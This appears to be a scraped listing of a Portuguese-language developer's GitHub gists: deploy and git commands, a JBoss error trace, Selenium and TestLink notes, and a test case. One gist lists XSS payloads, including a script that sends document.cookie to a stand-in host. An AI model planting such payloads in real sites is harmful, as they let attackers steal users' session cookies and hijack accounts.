This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| atualizar um arquivo em especifico | |
| chef-client -j /etc/chef/attributes.json -o "role[arizona_defaults-config],role[arizona_visto-system_install],role[arizona_visto-system_update]" |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| ln -s /home/weber/arizona/dev/visto-system/visto-system-web/src/main/webapp/ /home/weber/arizona/dev/visto-system/visto-system-web/target/visto-system-web |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| function injectCSS(cssdata){ | |
| $("head").append("<style type='text/css'>"+cssdata+"</style>"); | |
| } | |
| $(document).ready(function(){ | |
| var debug = false; | |
| //função para remover o elemento | |
| function removeThis(element) { |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| Ao executar o comando para execução do deploy | |
| mvn jboss-as:edeploy -Djboss-as.hostname=arizona.local -Djboss-as.username=USUARIO -Djboss-as.password=SENHA! | |
| Caused by: java.io.IOException: Filesystem already mounted at mount point ""/content/NOME.DA.PASTA.DE.EXECUÇÃO.DO.DEPLOY"" | |
| at org.jboss.vfs.VFS.mount(VFS.java:132) | |
| at org.jboss.vfs.VFS.doMount(VFS.java:354) | |
| at org.jboss.vfs.VFS.mountZip(VFS.java:408) | |
| at org.jboss.vfs.VFS.mountZip(VFS.java:434) | |
| at org.jboss.as.server.deployment.DeploymentMountProvider$Factory$ServerDeploymentRepositoryImpl.mountDeploymentContent(DeploymentMountProvider.java:95) [jboss-as-server-7.2.0.Final-redhat-8.jar:7.2.0.Final-redhat-8] |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| git fetch && git reset --hard origin/ram | |
| git checkout ram | |
| git pull --rebase | |
| git checkout VM-287 | |
| git rebase ram | |
| git checkout ram | |
| git merge VM-287 | |
| git push | |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| http://pt.slideshare.net/rodrigobranas/selenium-webdriver-34165867 | |
| Home | |
| Subscribe | |
| Entendendo os tipos de esperas no Selenium WebDriver | |
| 29 April 2014 on selenium, java | |
| Ter um mecanismo de espera confiável é um dos maiores desafios quando estamos trabalhando com automação de testes pela UI. Neste post, vou explicar sobre os tipos de esperas no Selenium WebDriver (em Java) e como usá-las. No final do post, serão descritos dois casos um pouco mais complexos e como foram solucionados. | |
| No Selenium WebDriver, de acordo com a própria documentação, existem dois tipos de esperas: implícita e explícita. | |
| Implícita |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| grep 'X-Frame-Options' -Rn * | |
| Este comando precisa ser executado dentro do diretorio do arquivo que esta sendo feito a busca. | |
| '' É a procura | |
| -R recursivo | |
| N Mostra o numero da linha | |
| * Busca em todos os arquivos do diretorio atual | |
| Comando apache | |
| # /etc/init.d/apache2 stop | |
| Iniciar |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| <script>alert("XSS")</script> | |
| Cria um alerta. | |
| <SCRIPT> | |
| document.location=' http://site.pirate/cgi-bin/script.cgi?'+document.cookie | |
| </SCRIPT> | |
| Redireciona o usuário para uma pagina web. |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| Para instalar o testLink é necessário seguir estes passos | |
| 1° instalação do MySQL (se não tiver) | |
| $ sudo apt-get install mysql-server | |
| 2° PHP5 e bibliotecas (se não tiver) | |
| $ sudo apt-get install php5 php5-mysql php5-gd php5-ldap php5-json | |
| 3° instalação do Apache (se não tiver) | |
| $ sudo apt-get install apache2 |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| <?xml version="1.0" encoding="UTF-8"?> | |
| <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd"> | |
| <html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en"> | |
| <head profile="http://selenium-ide.openqa.org/profiles/test-case"> | |
| <meta http-equiv="Content-Type" content="text/html; charset=UTF-8" /> | |
| <link rel="selenium.base" href="https://boticario.vistosystemhomolog.com.br/" /> | |
| <title>testCaseDeleteComments</title> | |
| </head> | |
| <body> | |
| <table cellpadding="1" cellspacing="1" border="1"> |
NewerOlder